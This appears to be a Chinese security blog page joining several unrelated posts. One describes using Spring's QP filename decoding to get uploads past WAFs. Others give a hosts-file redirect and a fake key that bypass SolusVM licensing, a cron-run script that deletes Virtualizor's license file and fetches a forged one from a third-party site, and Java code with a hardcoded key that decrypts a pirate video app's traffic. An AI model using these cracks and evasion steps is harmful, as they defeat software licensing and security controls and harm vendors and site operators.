Spring MVC MultipartResolver特性-QP编码

今天看Spring的Multipart处理发现一段比较奇怪的代码:

20180803094501_282.png
奇怪的是Spring为什么会对“=?”、“?=”进行特殊处理?跟进后发现这玩意是QP编码,用来解决邮件内附件编码问题。Spring调用了java mail的api对文件上传的附件文件名称进行了QP编码。

既然已知Spring的这个特性,那么某些时候或许就可以通过对文件名称进行编码来绕过传统的waf、cdn的防御了。

利用Java mail库生成特殊的文件名:
2.png

上传进行编码后的文件:

3.png

Spring会做decode解析:
4.png

原文地址:http://p2j.cn/?p=1868

SolusVM 授权服务器端

  • 1.编辑hosts文件
vi /etc/hosts
  • 2.添加以下内容
162.211.226.149     www.soluslabs.com
162.211.226.149     soluslabs.com
162.211.226.149     licensing1.soluslabs.net
162.211.226.149     licensing2.soluslabs.net
162.211.226.149     licensing3.soluslabs.net
162.211.226.149     licensing4.soluslabs.net
162.211.226.149     licensing5.soluslabs.net
162.211.226.149     licensing6.soluslabs.net
  • 3.打开SolusVM后台,打开 Configuration –> License 添加授权码并保存
SVMTL-88888-88888-88888-88888-88888-88888

设置完以后可以正常升级。

提示:据说 SolusVM 的主控端还是会偷偷地往法国 OVH 的一个机器发包,非域名,IP 直连请求,可以尝试通过 tcpdump 抓取这个 IP 然后做 iptables 限制访问。
我这边是直接将94.0.0.0/8这个段全部封掉
iptables -I INPUT -s 94.0.0.0/8 -j DROP

Virtualizor破解

license 验证函数的文件路径是:

/usr/local/virtualizor/main/functions.php

一键自动破解脚本

首先创建脚本

vi /opt/license.sh

然后写入下面的内容

#/bin/bash
# 
# 设置license
# 
chattr -i /usr/local/virtualizor/license2.php
rm -rf /usr/local/virtualizor/license2.php
IP=`curl http://members.3322.org/dyndns/getip`
LIC_URL='http://www.03sec.com/make_license.php?str='$IP
license_text=`curl $LIC_URL`
echo $license_text >> /usr/local/virtualizor/license2.php
chattr +i /usr/local/virtualizor/license2.php

最后增加执行权限以及运行脚本

chmod +x /opt/license.sh && /opt/license.sh

测试中发现,virtualizor会自己更改license2.php,即使使用了chattr也没用。建议将上面的脚本设置为定时任务,每小时运行一次

0 * * * * /opt/license.sh

乐尚视界APP数据包加解密脚本

突然看到一个APP叫乐尚视界,能看十几个网站的vip视频,感觉和之前的网页在线观看vip视频没有实名区别。
在抓包的时候发现了APP对数据包进行了加密,对APP进行反编译后,一边练手一边写出下面的加解密脚本,仅供参考。

/*
 * Copyright sky 2018-01-18 Email:sky@03sec.com.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package org.javaweb.demo;

import javax.crypto.*;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.UnsupportedEncodingException;
import java.math.BigInteger;
import java.nio.ByteBuffer;
import java.security.*;
import java.util.Base64;

public class LeeShang {


    public static String aaaaa(String var0) {
        byte[] var3;
        try {
            var3 = MessageDigest.getInstance("md5").digest(var0.getBytes());
        } catch (NoSuchAlgorithmException var2) {
            throw new RuntimeException("没有md5这个算法!");
        }

        var0 = (new BigInteger(1, var3)).toString(16);

        for (int var1 = 0; var1 < 32 - var0.length(); ++var1) {
            var0 = "0" + var0;
        }

        return var0;
    }

    public static byte[] encrypt(byte[] paramArrayOfByte, String password, String secureRandom) {
        try {
            SecretKeySpec keySpec     = secretKeySpec(password);
            Cipher        localCipher = Cipher.getInstance("AES/CBC/NoPadding");
            while (paramArrayOfByte.length % 16 != 0) { //如果paramArrayOfByte的长度不是16的倍数AES加密会报错,这边对paramArrayOfByte进行长度扩展,使它必须为16的倍数
                byte[] tmpByte = {0x00};
                paramArrayOfByte = ByteBuffer.allocate(paramArrayOfByte.length + 1).put(tmpByte).array();
            }
            localCipher.init(2, keySpec, ivParameterSpec(secureRandom));
            paramArrayOfByte = localCipher.doFinal(paramArrayOfByte);
            return paramArrayOfByte;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    public static byte[] decrypt(byte[] content, String password, String secureRandom) {
        try {
            SecretKeySpec keySpec = secretKeySpec(password);
            Cipher        cipher  = Cipher.getInstance("AES/CBC/NoPadding");// 创建密码器
            cipher.init(Cipher.DECRYPT_MODE, keySpec, ivParameterSpec(secureRandom));// 初始化
            byte[] result = cipher.doFinal(content);
            return result; // 加密
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    private static SecretKeySpec secretKeySpec(String var0) {
        Object var2 = null;
        String var1 = var0;
        if (var0 == null) {
            var1 = "";
        }

        StringBuffer var4 = new StringBuffer(16);
        var4.append(var1);

        while (var4.length() < 16) {
            var4.append("0");
        }

        if (var4.length() > 16) {
            var4.setLength(16);
        }

        byte[] var5;
        try {
            var5 = var4.toString().getBytes("UTF-8");
        } catch (UnsupportedEncodingException var3) {
            var3.printStackTrace();
            var5 = (byte[]) var2;
        }

        return new SecretKeySpec(var5, "AES");
    }


    private static IvParameterSpec ivParameterSpec(String var0) {
        Object var2 = null;
        String var1 = var0;
        if (var0 == null) {
            var1 = "";
        }

        StringBuffer var4 = new StringBuffer(16);
        var4.append(var1);

        while (var4.length() < 16) {
            var4.append("0");
        }

        if (var4.length() > 16) {
            var4.setLength(16);
        }

        byte[] var5;
        try {
            var5 = var4.toString().getBytes("UTF-8");
        } catch (UnsupportedEncodingException var3) {
            var3.printStackTrace();
            var5 = (byte[]) var2;
        }

        return new IvParameterSpec(var5);
    }

    public static String convertByteArrayToString(byte[] var1) {

        String value = new String(var1);
        return value;
    }

    public static void main(String[] args) {
        String key          = "$75k!xxH&$EhQLmv";
        String secureRandom = aaaaa("$75k!xxH&$EhQLmv").substring(0, 16);
        //解密
        String content      = "jStVIqaSUdIm0aF8mcs8GAjohYApwOUYVXenyG7zeQV86ZFrmO3Z1ixPLEM9srKRaVR1nE+0V3gTKGtlgwWgCg==";
        System.out.println(convertByteArrayToString(decrypt(Base64.getDecoder().decode(content), key, secureRandom)));
        //加密
        String s = "{'token':'x','code':'ghhhh'}";
        System.out.println(Base64.getEncoder().encodeToString(encrypt(s.getBytes(), key, secureRandom)));
    }
}